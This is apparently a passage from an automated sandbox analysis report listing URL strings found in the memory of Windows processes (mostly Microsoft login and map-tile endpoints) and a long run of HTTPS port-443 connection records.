Source: svchost.exe, 0000002D.00000003.1787012461.000002479635A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.000002479632C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000002D.00000003.1787321614.0000024796352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.0000024796329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 0000002D.00000003.1786916030.0000024796310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf7
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000002D.00000003.1786916030.0000024796310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789721509.0000024796363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000002D.00000003.1786916030.0000024796310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 0000002D.00000003.1786916030.0000024796310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000002D.00000003.1786916030.0000024796310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
Source: svchost.exe, 0000007C.00000000.2412492492.000001B311CBD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://mcr-ring.msedge.net/
Source: powershell.exe, 00000023.00000002.1824884007.00000259C3477000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004E.00000002.2676483974.0000021B34429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: chromecache_333.1.dr	String found in binary or memory: https://protected-by.clarium.io/werror
Source: svchost.exe, 0000002D.00000003.1788242081.000002479633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1787974885.000002479634D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1786472826.000002479632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1787321614.0000024796355000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002D.00000003.1789211662.0000024796340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx
Source: svchost.exe, 00000003.00000003.1366609202.0000021754C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000003.00000003.1366594653.0000021754C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs
Source: svchost.exe, 00000003.00000003.1366644656.0000021754C30000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366581172.0000021754C4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000003.00000003.1366496169.0000021754C5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000003.00000002.1367041253.0000021754C2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000007C.00000000.2399071015.000001B311C2A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://teams-ring.msedge.net/
Source: svchost.exe, 00000003.00000002.1367158991.0000021754C59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.1366510262.0000021754C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
Source: svchost.exe, 00000044.00000000.2105296060.000002AB7DE12000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns2-ch1p.notify.windows.com/?token=AwYAAAAYHqKf08ZPoZ860Y%2foGt%2fNxdm9wovwzD08hc8iwriUJ1DW
Source: chromecache_333.1.dr	String found in binary or memory: https://ww1097.smartadserver.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
